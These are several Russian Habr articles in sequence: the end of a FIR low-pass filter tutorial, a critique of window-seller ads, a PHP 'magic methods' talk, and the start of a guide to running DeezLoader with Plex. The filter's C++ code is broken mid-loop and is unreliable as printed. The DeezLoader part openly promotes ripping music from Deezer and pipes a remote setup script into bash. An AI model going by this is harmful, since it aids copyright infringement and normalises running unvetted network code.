По этим АЧХ мы определяемся с идеальной частотной характеристикой (какие частоты проходят свободно, какие мы убираем и как сильно), теперь нам нужна идеальная импульсная характеристика её можно посчитать как Фурье-образ от идеальной частотной:
где H\_D(w) – идеальная характеристика.
Но можно пойти и по более простому пути – есть уже заранее вычисленные идеальные импульсные характеристики, например для фильтра нижних частот формула выглядит следующим образом:
где fc и wc – частота среза.
Итак, осталось уже немного идеал идеалом, а мы имеем дело с практикой, и нам нужна «реальная» импульсная характеристика. Для её расчета нам понадобится весовая функция w(n), их есть несколько разновидностей, в зависимости от требований к фильтру (Хэмминга, Хеннинга, Блэкмена, Кайзера, о них не говорю, ибо статья и так большая), в нашем случае я использую функцию Блэкмена:
где N – длина фильтра, т.е. количество коэффициентов.
Теперь надо перемножить идеальную импульсную характеристику и весовую функцию:
##### Финишная прямая
Теперь мы готовы рассчитать выходные значения, по формуле фильтра, она самая первая в этой статье, ну вот и всё, в завершение привожу исходный код фильтра:
```
void Filter (const double in[], double out[], int sizeIn)
{
const int N = 20; //Длина фильтра
long double Fd = 2000; //Частота дискретизации входных данных
long double Fs = 20; //Частота полосы пропускания
long double Fx = 50; //Частота полосы затухания
long double H [N] = {0}; //Импульсная характеристика фильтра
long double H_id [N] = {0}; //Идеальная импульсная характеристика
long double W [N] = {0}; //Весовая функция
//Расчет импульсной характеристики фильтра
double Fc = (Fs + Fx) / (2 * Fd);
for (int i=0;i=0)
out[i]+= H[j]\*in[i-j];
}
}
```
При подготовке статьи использовались:
Основные характеристики и параметры фильтров. [analogiu.ru/6/6-5-2.html](http://analogiu.ru/6/6-5-2.html)
Айфичер Э. Джервис Б. Цифровая обработка сигналов. Практический подход. 2-е издание | https://habr.com/ru/post/128140/ | null | ru | null |
# Хроника одного запроса «пластиковые окна калькулятор»
Сегодня с утра решил заняться ремонтом и пошел в первую очередь изучать предложения по пластиковым окнам, как стартовой точки ремонта в квартире.
Будучи продвинутым пользователем, я не пошел изучать вопрос по запросу «пластиковые окна», а набрал «пластиковые окна калькулятор».
Слышал от коллег, что данная тема является непомерно раздутой и проблемной, но каково было мое удивление от качества «работы» сайтов и продвиженцев этих сайтов.
*Данный пост является скромным мнением автора и может не совпадать с мнениями директоров, маркетологов и продвиженцев представленных сайтов.
В случае наличия несогласия с моим мнением стоит задуматься как вы работе со своими компаниями и клиентами.
Топик изобилует черным юмором, так как мне пришлось потратить пол дня жизни для поиска корректного и правильного предложении.*я
**Итак:**
**Третье спецразмещение. «Утром окна, днем правая колонка»**
`Пластиковые окна по супер -цене!
Kaleva: закажи пластиковые окна до 30 июля и получи супер -скидку+подарок!
Адрес и телефон www.okna.ru
Москва`
Прелестная компания и продвиженцы!
Зачем объявление по запросу «пластиковые окна калькулятор» если на лендинге нет калькулятора, на сайте нет калькулятора, да и вообще нет цен.
Конверсия должно быть зашкаливает!
Еще из приколов: утром было третий спец (прим. зачем?), днем уже правая колонка.
Совсем продвиженцы CTRы клиентские не берегут!
Кстати, фразы «ждут супер-скидки» без уточнения деталей не работают!
Клиент, к сожалению, поумнел.
Отдельный совет продвиженцам – используйте метки для оценки уровня конверсий. Большой бюджет в конкурентной тематике без замера конверсий – тупой слив бюджета для набора комиссии!
Работайте для клиента.
**Второе спецразмещение. Просто и понятно**
`Окна ПВХ. Профили KBE и Rehau
Калькулятор пластиковых окон на сайте. Выезд менеджера-конструктора - 0 руб
www.y-okna.ru`
Простой и понятный калькулятор. Без уточнений. Шапка большая, много полезного места «босяк» забрал.
Продвиженцам стоит опять же начать использовать метки для замера конверсий. И картиночки битые на сайте подправить.
**Вход в спецразмещение. Тянем, потянем**
`Пластиковые окна. Калькулятор
Рассчитайте стоимость Ваших окон! Окна с монтажом и без! Гарантия качества!
oknamobifon.ru`
Объявление не самое лучшее, но работает.
Лендинг растянут. 1500 руб за доставку сразу пугают. Со второй попытки я разобрался с «бесплатностью» доставки.
Три уточнения:
1. Раздел акции придумывают чтобы анонсировать акции. Пустой раздел отпугивает людей
2. Дизайн сайта особо любим г-н Лебедевым для кратких комментариев и пяти букв
3. Чистой воды придирка, но Аделинка 81 года выпуска не всем может подойти и уменьшает серьезность сайта. В скайпе\аське\твиттере\ЖЖ нужно использовать имя компании!
**Первое место. РусБиз – страшен и беспощаден**
`Скидки на новую коллекцию окон!
Окна PURE EDITION от Русокон! Скидка до 25%! Успей до 30.07!
www.rusokon.ru Москва`
Вот он, эталон РусБиза от Русокон. Объявление слезы, продвиженцы – слезы. Религия компании не позволяет привести пользователя на старницу с калькулятором, религия компании позволяет привести пользователя на главную страницу. Пользователь сам найдет в углу ссылку на калькулятор.
Конвертирующие инструменты и лендинги нужно помещать в горячую зону зрения, а не на отшиб.
И шапку без смысловой нагрузки в виде банеров стоит подрезать, я поднятия конверсий четырех спецпредложений.
**Второе место. Аффилаты или кто-то кого-то обокрал**
`Окно от Формулы Уюта в подарок!
Успей до 27.07! Гарантия 10 лет! Установка за 1 день!
www.okna-formula.ru Москва`
Подозрительно похожи предложения. Религиозные фанатики – объявление идет по запросу «пластиковые окна калькулятор», а на сайте калькулятор отсутствует как класс
**4 место. Отсталые**
`Пластиковые Окна - Рассрочка 0%!
On-line калькулятор - рассчитай стоимость окна прямо сейчас!
panorama-group.ru Москва`
На дворе август, а на сайте мега предложения июня.
Объявление слабовато, но похоже это мой выбор.
Фишечки на сайте чуть более чем полностью удобны.
Смущает правда, что цену типового окна не поймать в калькуляторе.
**Отдельно:**
[www.eurookna.ru](http://www.eurookna.ru)
БАЯН + 3 спецразмещение
Этим всегда было плевать на эффективность и конверсии.
Слишком много \*\* в рекламе и предложениях!
Заключая обзор хочется пожелать всем найти профессиональных сотрудников сферы интернет маркетинга и не менее профессиональных подрядчиков, имеющих правильную ориентацию на бизнес клиента, а я пока пошел гуглить | https://habr.com/ru/post/100192/ | null | ru | null |
# Школа магии PHP
Что такое магия в PHP? Обычно под этим подразумевают методы вроде `_construct()` или `__get()`. Магические методы в PHP — это лазейки, которые помогают разработчикам выполнять удивительные вещи. В сети полно инструкций по их использованию, с которыми вы наверняка знакомы. Но что если мы скажем, что вы даже не видели настоящую магию? Ведь, чем больше вам кажется, что вы знаете все, тем больше магии ускользает от вас.
Давайте отбросим установленные рамки правил ООП и сделаем невозможное возможным в школе магии PHP. Главный и первый волшебный преподаватель школы — **Александр Лисаченко** ([NightTiger](https://habr.com/ru/users/nighttiger/)). Он научит магическому мышлению и, возможно, вы полюбите магические методы, нестандартные способы доступа к свойствам, изменение контекстов, аспектно-ориентированное программирование и потоковые фильтры.
**Александр Лисаченко** — руководитель отдела веб-разработки и архитектуры в Альпари. Автор и ведущий разработчик аспектно-ориентированного фреймворка [Go! AOP](http://go.aopphp.com/). Докладчик на международных конференциях по PHP.
В хорошем фильме «Иллюзия обмана» есть фраза:
> «Чем вы ближе, тем меньше вы видите».
Это же можно сказать о PHP, как о магическом трюке, который позволяет проворачивать необычные вещи. Но прежде всего он создан, чтобы вас обмануть: «...an action that is intended to deceive, either as a way of cheating someone, or as a joke or form of entertainment».
Если мы возьмем PHP и вместе попытаемся на нем написать что-то магическое, скорее всего, я вас обману. Я проверну какой-нибудь трюк, и вы будете долго гадать, почему так происходит. Все потому, что PHP — это известный своими необычными штуками язык программирования.
Магическое снаряжение
---------------------
Что нам потребуется из магического снаряжения? Знакомые до боли методы.
`__construct(), __destruct(), __clone(),
__call(), __callStatic(),
__get(), __set(), __isset(), __unset(),
__sleep(), __wakeup(),
__toString(), __invoke(), __set_state(),
__debugInfo()`
Последний метод отмечу отдельно — с ним можно проворачивать необычные вещи. Но это не все.
* `declare(ticks=1)`.
* `debug_backtrace()`. Это наш спутник, чтобы понять, где мы находимся в текущем коде, посмотреть, кто и зачем нас вызвал, с какими аргументами. Пригодится, чтобы принять решение не выполнять всю логику.
* `unset(), isset()`. Кажется, что ничего особенного, но эти конструкции скрывают много трюков, которые рассмотрим дальше.
* `by-reference passing`. Когда мы передаем какой-то объект или переменную по ссылке, то стоит ожидать, что с вами неизбежно произойдет какая-нибудь магия.
* `bound closures`. На замыканиях и том, что они могут биндиться, можно построить массу трюков.
* Reflection API помогает вывести рефлексию на новый уровень.
* StreamWrapper API.
Снаряжение готово — напомню первое правило магии.
> Всегда будь самым умным парнем в комнате.
Трюк #1. Невозможное сравнение
------------------------------
Начнем с первого трюка, который я называю «Невозможное сравнение».
Посмотрите внимательно на код и подумайте, может ли такое произойти в PHP.
Есть переменная, объявляем её значение, а потом она внезапно сама себе не равна.
### Not-a-number
Есть такой волшебный артефакт, как NaN — Not-a-number.
Его удивительная особенность в том, что он сам себе не равен. И в этом наш первый трюк: использовать NaN, чтобы озадачить товарища. Но NaN не единственное решение для этой задачи.
### Используем константы
Фишка в том, что мы можем для `namespace` объявить `false` как `true` и сравнить. Незадачливый разработчик долго будет гадать, почему там `true`, а не `false`.
### Обработчик
Следующий трюк — артиллерия помощнее, чем два предыдущих варианта. Рассмотрим, как он работает.
Трюк базируется на `tick_function` и, как я уже упоминал, `declare(ticks=1)`.
Как это всё работает из коробки? Сперва объявляем некоторую функцию, и она по ссылке принимает параметр `isMagic`, а дальше пытается поменять это значение на `true`. После того, как мы объявили `declare(ticks=1)`, интерпретатор PHP после каждой элементарной операции вызывает `register_tick_function` — callback. В этом callback мы можем то значение, которое было раньше `false`, поменять на `true`. Магия!
Трюк #2. Магические выражения
-----------------------------
Возьмем пример, в котором объявлены две переменные. Одна из них `false`, другая `true`. Делаем `isBlack` и `isWhite` и var\_dump’аем результат. Как вы думаете, что будет в итоге?
**Приоритет операторов**. Правильный ответ `false`, потому что в PHP есть такое понятие, как «приоритет операторов».
Удивительно, но у логического оператора `or` приоритет меньше, чем у операции присваивания. Поэтому происходит просто присваивание `false`. В `isWhite` может быть любое другое выражение, которое выполнится, если первая часть не отработает.
### Магические выражения
Посмотрите на код ниже. Есть некоторый класс, который содержит конструктор, и некоторая фабрика, код которой будет далее.
Обратите внимание на последнюю строчку.
```
$value = new $factory->build(Foo::class);
```
Есть несколько вариантов, что может произойти.
* `$factory` будет использовано как имя класса `new`;
* будет ошибка парсинга;
* будет использоваться вызов `$factory->build()`, значение которого вернет эта функция, в результате получится `new`;
* будет использовано значение свойства `$factory->build`, чтобы сконструировать класс.
Давайте проверим последнюю идею. В классе `$factory` объявим ряд магических функций. Они будут писать, что мы делаем: вызываем свойство, обращаемся к методу, или вообще пытаемся вызвать `invoke` у объекта.
```
class Factory
{
public function _get($name) {echo "Getting property {$name}"; return Foo::class;}
public function _call($name, $arg) {echo "Calling method {$name}"; return Foo::class;}
public function _invoke($name) {echo "Invoking {$name}"; return Foo::class;}
}
```
Правильный ответ: мы вызываем не метод, а свойство. После `$factory->build` находится параметр для конструктора, который мы передадим в этот класс.
Кстати, в этом фреймворке у меня реализована фишка, которая называется «перехват создание новых объектов» — можно «замокать» эту конструкцию.
### Лазейка в парсере
Следующий пример касается самого PHP-парсера. Пробовали ли вы когда-нибудь вызывать функции или присваивать переменные внутри фигурных скобок?
Этот трюк мне попался в Twitter, он работает крайне нестандартно.
```
$result = ${'_' . !$_=getCallback()}();
$_=getCallback(); // string(5) "hello"
!$_=getCallback()}(); // bool(false)
'_'.!$_=getCallback()}(); // string(1) "_"
${'_'.!$_=getCallback()}(); // string(5) "hello"
```
Сперва переменной с названием `_` (подчеркивание) мы присваиваем значение выражения. У нас уже есть переменная, мы пытаемся логически инвертировать ее значение, и получаем `false` — строка кастуется как бы к `true`. Дальше это всё склеиваем в названии переменной, через которую потом обращаемся уже внутри фигурных скобок.
> Что такое магия? Это развлечение, которое позволяет нам почувствовать себя воодушевленно, необычно, сказать: «Что? Так можно было?!»
Трюк #3. Ломаем правила
-----------------------
Мне нравится в PHP то, что можно ломать правила, которые все создают, пытаясь быть суперзащищенными. Есть конструкция под названием «запечатанный класс», у которого приватный конструктор. Ваша задача как ученика мага создать экземпляр этого класса.
Рассмотрим три варианта, как это можно сделать.
### Обходной путь
Первый путь самый очевидный. Он должен быть знаком каждому разработчику — это стандартный API, который нам предлагает язык.
Конструкция `newInstanceWithoutConstructor` позволяет обойти ограничения языка на то, что конструктор приватный, и создать экземпляр класса в обход всех наших объявлений приватного конструктора.
Вариант рабочий, простой, не требует какого-то пояснения.
### Замыкание
Второй вариант требует уже больше внимания и умения. Создается анонимная функция, которая затем биндится к скопу того класса.
Здесь мы находимся внутри класса и можем спокойно вызывать приватные методы. Этим и пользуемся, вызывая `new static` из контекста нашего класса.
### Десериализация
Третий вариант самый передовой, на мой взгляд.
Если в определенном формате написать определенную строчку, подставить туда определенные значения — получится наш класс.
После десериализации получим наш `instance`.
### doctrine/instantiator package
Магия часто становится документированным фреймворком или библиотекой — например, в **doctrine/instantiator** все это реализовано. Мы можем создавать любые объекты с любым кодом.
```
composer show doctrine/instantiator --all
name : doctrine/instantiator
descrip. : A small, lightweight utility to instantiate objects in PHP without invoking their constructors
keywords : constructor, instantiate
type : library
license : MIT License (MIT)
```
Трюк #4. Intercepting property access
-------------------------------------
Тучи сгущаются: класс секретный, свойства и конструктор приватные, и еще callback.
```
class Secret
{
private $secret = 42;
private function _construct()
{
echo 'Secret is: ', $this->secret;
}
private function onPropAccess(string $name)
{
echo "Accessing property {$name}";
return 100500;
}
}
// How to create a secret instance and intercept the secret value?
```
Наша задача, как волшебников, как-то вызвать callback.
### Добавляем магический… getter
Добавим щепотку магии, чтобы все это заработало.
Эта щепотка магии — магический `getter`. Он вызывает функцию, и пока что ничего страшного не произошло. Но воспользуемся предыдущим трюком и создадим экземпляр этого объекта в обход приватного конструкта.
Теперь надо каким-то образом вызвать callback.
### «Unset» внутри замыкания
Чтобы сделать это, создадим замыкание. Внутри замыкания, которое находится в скопе класса, удалим функцией `unset()` эту переменную.
`unset` позволяет временно исключить переменную, что позволит вызываться нашему магическому методу `get`.
### Вызываем приватный конструктор
Так как у нас есть приватный конструктор, который выводит `echo`, то можно просто достать этот конструктор, сделать его доступным вызвав его.
Так наш секретный класс рассыпался в пух и прах.
Мы получили сообщение о том, что мы:
* перехватили;
* вернули что-то совершенно другое.
### leedavis/altr-ego package
Много магии уже задокументировано. Пакет **altr-ego** как раз притворяется вашим компонентом.
```
composer show leedavis81/altr-ego --all
name : leedavis81/altr-ego
descrip. : Access an objects protected / private properties and methods
keywords : php, break scope
versions : dev-master, v1.0.2, v1.0.1, v1.0.0
type : library
license : MIT License (MIT)
```
Вы можете создать один свой объект и прицепить к нему второй. Это позволит проводить изменения объекта. Он будет изменяться послушно и выполнять все ваши пожелания.
Трюк #5. Immutable objects в PHP
--------------------------------
Существуют ли в PHP Immutable object? Да, причем очень и очень давно.
```
namespace Magic
{
$object = (object) [
"\0Secret\0property" => 'test'
];
var_dump($object);
}
```
Только получать их надо интересным образом. Интересность в том, что мы создаем массив, у которого есть **специальный ключ**. Он начинается с конструкции `\0` — это нулевой байт-символ, и после `Secret` мы тоже видим `\0`.
Конструкция используется в PHP, чтобы объявить приватное свойство внутри класса. Если мы попытаемся кастануть какой-то объект к массиву, увидим те же самые ключи. У нас появится не что иное, как `stdClass`. Он содержит в себе приватное свойство из класса `Secret`, которое равно `test`.
```
object(stdClass) [1]
private 'property' (Secret) => string 'test' (length=4)
```
Единственная незадача — потом достать это свойство оттуда никак нельзя. Оно создается, но недоступно.
Я подумал, что это довольно неудобно — у нас есть Immutable objects, но использовать его нельзя. Поэтому решил, что пора бы запилить свое решение. Я использовал все мои знания и магию, которая имеется в PHP, чтобы создать конструкцию на базе всех наших магических трюков.
**Начнем с простого — создадим DTO** и попытаемся в ней перехватить все свойства (см. предыдущий трюк).
**Сохраним в надежном месте значения**, которые оттуда захватим. Они будут недоступы никакими методами: ни `reflection`, ни замыканиями, ни другой магией. Но возникает неопределенность — существует ли такое место в PHP, которое бы позволяло гарантированно сохранять какие-то переменные, чтобы туда никакой хитрый юный программист вообще не добрался?
**Предоставим магический метод**, чтобы можно было прочитать это значение. Для этого у нас есть магические `getters`, магические методы `isset`, которые позволяют предоставить API.
Вернемся к надежному месту и попробуем поискать.
* `Global variables` отметаются — любой желающий может их поменять.
* `Public properties` тоже не подходят.
* `Protected properties` так себе, потому что дочерний класс проберется.
* `Private properties`. Нет доверия, потому что через замыкание или через `reflection` его можно поменять.
* `Private static properties` можно попробовать, но тоже ломается `reflection`.
Казалось бы, спрятать значения переменных некуда. Но нашлась волшебная штука — `Static variables in functions` — это переменные, которые находятся внутри функций.
### Безопасное хранение значений
Я спросил на специальном канале Stack Overflow у **Никиты Попова** и **Джея Воткинса** об этом.
Это функция, внутри которой объявлена статичная переменная. Можно ли из неё как-то достать, поменять? Ответ — нельзя.
Мы нашли маленькую лазейку в потусторонний мир защищенных переменных и хотим использовать её.
### Передача значений по ссылкам
Использовать будем нестандартно, как свойство объекта. Но нельзя передавать свойство, поэтому используем классическую передачу значений по ссылкам.
Получается, есть класс, в котором есть магический метод `callStatic`, и в нем объявлена переменная `Static`. В любой вызов какой-то функции мы передаем значение переменной из Immutable object по ссылке во все наши вложенные методы. Так мы как бы предоставляем контекст.
### Сохраняем state
Посмотрим, как сохраняется состояние.
Всё довольно просто. Для переданного объекта пользуемся функцией `spl_object_id`, которая для каждого экземпляра возвращает отдельный идентификатор. Тот `State`, который мы уже достали из объекта, пытаемся сохранить туда. Ничего особенного.
### Применяем состояние объекта
Здесь опять есть конструкция передачи значений по ссылке и `unset` свойства. Мы unset’им все текущие свойства, предварительно их сохранив в переменную `State`, и устанавливаем этот контекст для объекта. Больше объект не содержит никаких свойств, а только свой идентификатор, который объявляется с помощью `spl_object_id` и привязан к этому объекту, пока жив.
### Получаем State
Дальше все просто.
На магический `getter` достаем этот контекст и вызываем из него наше свойство. Теперь никто и ничто не может поменять значение после того, как подключен этот `Trait`.
Все волшебные методы переопределены и реализуют неизменяемость объекта.
### lisachenko/immutable-object
Как положено, все сразу оформляется в библиотеку и готово к использованию.
```
composer show /immutable-object --all
name : /immutable-object
descrip. : Immutable object library
keywords :
versions : * dev-master
type : library
license : MIT License (MIT)
```
Выглядит библиотека довольно просто. Подключаем ее и создаем наш класс. У него разные свойства: приватные, протектные и public. Подключаем `ImmutableTrait`.
После этого можно инициировать объект один раз — посмотреть его значение. Оно действительно там сохраняется и даже выглядит, как настоящая DTO.
```
object (MagicObject) [3]
public 'value' => int 200
```
Но если мы попытаемся ее поменять, например, так…
… то тут же сразу получим `fatal exception`. Мы не можем менять свойство, потому что оно Immutable. Как же так?
Если ввязаться в увлекательный челлендж и попытаться её дебажить, то получится следующее.
Это мой подарочек. Как только в PHPStorm вы попытаетесь провалиться внутрь этого класса, он моментально остановит выполнение вашей команды. Не хочу, чтобы вы копались в этом коде — он слишком опасный. Он будет предупреждать, что тут делать нечего.
Трюк #6. Обработка потоков
--------------------------
Рассмотрим конструкцию.
```
include 'php://filter/read=string.toupper/resource=magic.php';
```
Тут нечто волшебное: PHP-фильтр, `read`, в конце подключается какой-то файлик **magic.php**. Этот файлик выглядит довольно просто.
```
php
echo 'Hello, world!'</code
```
Заметьте, что регистр разный. Однако, если «заинклюдим» файлик через нашу конструкцию, то получим вот это:
```
HELLO, WORLD!
```
Что произошло в этот момент? Использование конструкции PHP-фильтра в `include` позволяет подключить любой фильтр, в том числе и ваш, для анализа исходного кода. Вы управление всем, что находится в этом исходном коде. Можно убрать `final` из классов и методов, сделать свойства публичными — всё, что угодно можно провернуть через эту штуку.
На этом базируется часть моего аспектного фреймворка. Когда подключается ваш класс, он его анализирует и трансформирует в то, что будет выполняться.
Из коробки в PHP есть уже целая пачка готовых фильтров.
```
var_dump(stream_get_filters());
array (size=10)
0 => string 'zlib.*' (length=6)
1 => string 'bzip2.*' (length=7)
2 => string 'convert.iconv.*' (length=15)
3 => string ' string.rotl3' (length=12)
4 => string 'string.toupper' (length=14)
5 => string 'string.tolower' (length=14)
6 => string 'string.strip_tags' (length=17)
7 => string 'convert.*' (length=9)
8 => string 'consumed' (length=8)
9 => string 'dechunk' (length=7)
```
Они позволяют «зазиповать» контент, перевести его в верхний или нижний регистр.
Основные трюки, которые я хотел показать, закончились. Теперь перейдем к квинтэссенции всего, что я умею — к аспектно-ориентированному программированию.
Трюк #7. Аспектно-ориентированное программирование
--------------------------------------------------
Посмотрите на этот код и подумайте, хороший он или плохой с вашей точки зрения.
Кажется, код вполне адекватный. Он проверяет права доступа, выполняет логирование, создает юзера, персистит, пытается отловить `exception`.
Если посмотреть на всю эту лапшу, она повторяется в каждом нашем методе, и ценное здесь только то, что помечено зеленым.
Все остальное: «secondary concerns» или «crosscutting concerns» — сквозная функциональность.
Обычный ООП не дает возможности взять копипастом все эти конструкции, убрать и куда-то вынести. Это плохо, потому что приходится повторяться. Хотелось бы, чтобы код всегда выглядел чисто и аккуратно.
Чтобы он не содержал логирования (пусть оно как-то само применяется), и не содержал `security`.
Чтобы это все, включая логирование…
… и проверку безопасности,…
… выполнялось само.
И это возможно.
### Глоссарий «Aspect»
Есть штука, которая называется «Aspect». Это простой пример, который проверяет права доступа. Благодаря ему вы можете видеть некоторую аннотацию, которую еще и подсвечивает плагин для PhpStorm. «Aspect» объявляет SQL-выражения, к каким точкам в коде применять данное условие. Ниже, например, мы хотим для всех публичных методов из класса `UserService` применить замыкание.
Замыкание получаем методом `$invocation`.
Это некоторая обертка поверх метода `reflection`, которая содержит еще аргументы.
Дальше в этом callback для каждого метода можно проверить необходимые права доступа, это называется «Advice».
Мы как бы говорим языку: «Уважаемый PHP, пожалуйста, примени этот метод перед каждым вызовом публичного метода из класса `UserService`». Всего лишь одна строчка, а много полезного.
### Aspect vs Event Listener
Чтобы было понятнее, я сделал сравнение Aspect с Event Listener. Многие работают в Symfony и знают, что такое Event Dispatcher.
Они похожи в том, что мы передаем какую-то зависимость, например, `AutorizationChecker`, и объявляем, куда применять в данном случае. В случае Listener — это `SubscrabingEvent` под названием `UserCreate`, а в случае `Aspect` мы подписываемся на все вызовы публичных методов из `UserService`. При этом контент наполнения самого обработчика callback примерно одинаковый: мы просто что-то проверяем и соответственно реагируем.
Рассмотрим, как это все работает под капотом.
**Первый этап**, который требует аспектный фреймворк, это **регистрация** `Aspects`.
**Второй этап**. Чтобы это обработать, опять используется предыдущий **трюк с PHP-фильтром**.
Это специальный компонент, который занимается преобразованием исходного кода. Он это делает скрытно, но работать в продакшн будет хорошо, потому что интегрирован с OPcache.
**Третий этап**. Все интегрируется на уровне `Composer`. Как только устанавливается Go! AOP, он начинает тесно общаться с `Composer` и договаривается о том, какие файлы откуда загружать.
Поэтому можно грузить одновременно и версию кода без `Aspects`, и с `Aspects`. Это можно сделать буквально настройкой в среде.
Дальше начинается довольно сложная матчасть.
**PHP-Parser**. Чтобы сделать эту сложную работу, провернуть магический трюк, необходимо весь исходный код сперва **проанализировать**. Хорошо, что есть такая замечательная библиотека **Никиты Попова**, как [PHP-Parser](https://github.com/nikic/PHP-Parser). Она позволяет провести токенизацию и построить абстрактное синтаксическое дерево всего кода.
**Четвертый этап**. Я создал еще одну библиотеку, которая называется **goaop/parser-reflection**.
Она работает поверх AST-дерева и позволяет проводить рефлексию исходного кода, не загружая его в память. Для меня это важно, потому что как только класс загружается в память, он оттуда никак не может быть выгружен, а хотелось бы узнать его структуру заранее.
Дальше принимаемся за разбор текущего файла.
Узнаем, какие в нем есть классы и как их изменить, благодаря тому что есть `Aspect`.
На выходе получается очень аккуратная и удобная штука в виде простого класса, которая декорирует ваш оригинальный класс.
Особенность фреймворка в том, что он подменяет ваш класс точно таким же классом с таким же именем, а оригинальный при этом переименовывает в кэше. Меняется не ваш оригинальный код — в кэше создается отдельная версия, в которой чуть-чуть меняется название класса, и потом наследуется от этого класса.
Наследование есть даже в том случае, если класс был финальным. Поэтому можно отлавливать и финальные методы, и финальные классы.
Поверх моего фреймворка работает библиотека Aspect MOCK. Она позволяет «замокать», в том числе и финальные методы, и статические методы. Все это работает под капотом.
Наш переопределенный метод выглядит довольно просто — мы вызываем `joinPoint`. В терминах аспектно-ориентированного программирования все называется `joinPoint`: каждый метод, обращение к свойству, перехват функции или создание.
### Что дальше?
Дальше открываются невероятные возможности.
**OPcache preloading for AOP Core**. Весь AOP-движок будет прекомпилироваться на этапе загрузки приложения. Это позволит снизить накладные расходы на его исполнение с 10 мс до нуля. Bootstrapping фреймворка будет занимать практически ничего, весь фреймворк будет находиться в памяти PHP.
**FFI integration to modify binary opcodes**. Следующее, что я буду делать, это изменять бинарно опкоды. Как только вы используете PHP-opcodes, в файловой системе генерируется файлик с названием `.bin`. При использовании FFI все взлетит.
**Modifying PHP engine internal callbacks** или модификация PHP-движка со стороны userland. Внутри PHP есть глобальные переменные. Если через FFI подключить PHP сам к себе в userland, то получим доступ к его внутренним свойствам, классам, структурам. Почему бы этим не воспользоваться.
На этом магию остановим, пока не реализуем.
Трюк #8. goaop/framework
------------------------
Это мой фреймворк, он есть [на GitHub](https://github.com/goaop/framework) и у него там больше тысячи звезд.
```
composer show goaop/framework --all
name : goaop/framework
descrip. : Framework for aspect-oriented programming in PHP.
keywords : php, aop, library, aspect
versions : dev-master, 3.0.x-dev, 2.x-dev, 2.3.1, …
type : library
license : MIT License
```
Если вы боитесь магии, я создал помощника в виде плагина для PhpStorm.
Плагин удобен тем, что позволяет подсвечивать синтаксис Pointcuts. Мы знаем, какие хотим методы обрабатывать, и как. Также он предлагает навигацию — подсвечивает подсказки у методов, к тем методам, к которым мы хотим перейти.
Trick #9. Отложенные методы
---------------------------
Напоследок сделаем еще один трюк уже с использованием аспектного фреймворка. Посмотрим, как делать отложенные методы.
Идея довольно проста: есть код, в котором какой-то из методов отрабатывает медленно. В таких случаях рекомендуется вынести выполнение этого кода до момента `fastcgi_finish_request`. Мне это кажется неудобным, потому что все время приходится помнить, куда его засунуть, какой-то callback прикрутить — выглядит не нативно.
Что я предлагаю сделать и как это может работать?
Создаем доктриновскую аннотацию, которая называется `Deffered`, и помечаем, что она применяется для любого из методов.
После чего создаем `Aspect`, который говорит, что вокруг вызова методов, содержащих аннотацию `Deffered`, нужно выполнить следующий код.
В свойство `Aspect` начинаем накапливать отложенные методы: сохраняем метод, который вызвался, объект, для которого был вызван данный callback, и аргументы, с которыми был вызван callback. Мы не даем выполниться этому коду.
Поклонники React увидят, что тут должен быть `promise`. Мы в этот момент пообещаем, что когда-нибудь данный метод будет выполнен, а когда-нибудь потом мы закончим его выполнение, и получим решение.
Посмотрим, как всё это будет работать под капотом.
Регистрируем `shutdown_function` прямо в `Aspect`. Как только запускается наше приложение, у нас есть callback, который говорит, что после того, как приложение завершится, надо вызвать callback `onPhpTerminate`. В этом методе делаем `fastcgi_finish_request` и говорим: «Все, отправь, пожалуйста, клиенту весь контент, который создан». И только теперь начнем по одному выполнять отложенные методы.
Для примера представим, что у нас есть некоторый код и синхронный вызов `sendPushNotification`.
Допустим, какой-то плохой человек сделал его слишком медленным — он спит 2 с.
Мы не хотим, чтобы клиент, который делает запрос в наше приложение, еще 2 секунды ждал ответа.
Просто помечаем этот метод, как `Deferred`.
Код моментально вылетает, клиент сразу получает ответ. Где-то потом в фоновом режиме после завершения запроса, отправляется уведомление, что уже никак не мешает клиенту.
На этом все. Надеюсь, что вам понравился урок магии и натолкнул вас на какие-то размышления. Буду признателен, если оставите комментарии.
> Следующая профессиональная конференция [PHP Russia 2020](https://phprussia.ru/moscow/2020) пройдет в мае. Мы готовим новую концепцию и принимаем доклады — [подавайте заявки](https://conf.ontico.ru/lectures/propose?conference=pc2020). Подписывайтесь на [рассылку](http://eepurl.com/VYVaf) и [telegram-канал](https://t.me/PHPRussiaConfChannel), чтобы раньше других получить приглашение на PHP Russia 2020. | https://habr.com/ru/post/478618/ | null | ru | null |
# DeezLoader + PlexMediaServer. Делаем домашний музыкальный портал
**Attention!**The authors do not call to commit crimes! The usage of this tool may be illegal in your country. The authors give no guarantees at all and aren't responsible for any damage or harm of any kind resulting from the use of this software!
**Внимание!**Авторы не призывает совершать преступления! Использование этого инструмента может быть незаконным в вашей стране. Авторы не дают никаких гарантий и не несут ответственности за какой-либо ущерб или вред любого рода, возникающие в результате использования этого программного обеспечения!
Как человек разносторонний я очень люблю много музыки, при чем разных жанров/форматов/исполнителей.
Не так давно наткнулся на deezer(не смейтесь) попользовался их платной подпиской мне очень понравилось, подписка закончилась, а оплатить из моего региона это ну прям очень сложная задача.
погуглив наткнулся на проект [deezloader](https://github.com/Deezloader/DeezLoader), скажу грубо, наглая кража музыки с сайта Deezer. После установки и настройки не давал логинится. Углубился в гугл, нашел этот же проект только обновленный, у ребят интересный способ распространения — через [телеграмм канал](https://t.me/Deezloader) )
This project is licensed under CC BY-NC-SA 4.0
Я использовал Centos 7, node js 8.11 и Deezloader Remix. Распакуем архив и приступем к установке.
```
curl -sL https://rpm.nodesource.com/setup_8.x | bash -
sudo yum install epel-release
sudo yum update
sudo yum install nodejs
sudo yum install gcc-c++ make
cd DeezloaderRemix/app
npm install
node app.js
```
Идем по адресу IpAddr:1730, логинимся под своей учёткой deezer получаем приятный интрефейс ~~нашего ежа~~ нашей качалки по умолчанию, устанавливает каталог для закачек ~/Music/Deezloader
**Много непонятных скриншотов**
Теперь ~~добавим ужа~~ очередь plexmediaserver:
```
nano /etc/yum.repos.d/plex.repo
```
```
# Plex.repo file will allow dynamic install/update of plexmediaserver.
[PlexRepo]
name=PlexRepo
baseurl=https://downloads.plex.tv/repo/rpm/$basearch/
enabled=1
gpgkey=https://downloads.plex.tv/plex-keys/PlexSign.key
gpgcheck=1
```
Ну и сама установка:
```
sudo yum -y install plexmediaserver
```
Включим демон и добавим в автозагрузку:
```
systemctl start plexmediaserver
systemctl enable plexmediaserver
```
**Очередь настройки Firewalld**
```
nano /etc/firewalld/services/plexdeez.xml
```
```
xml version="1.0" encoding="utf-8"?
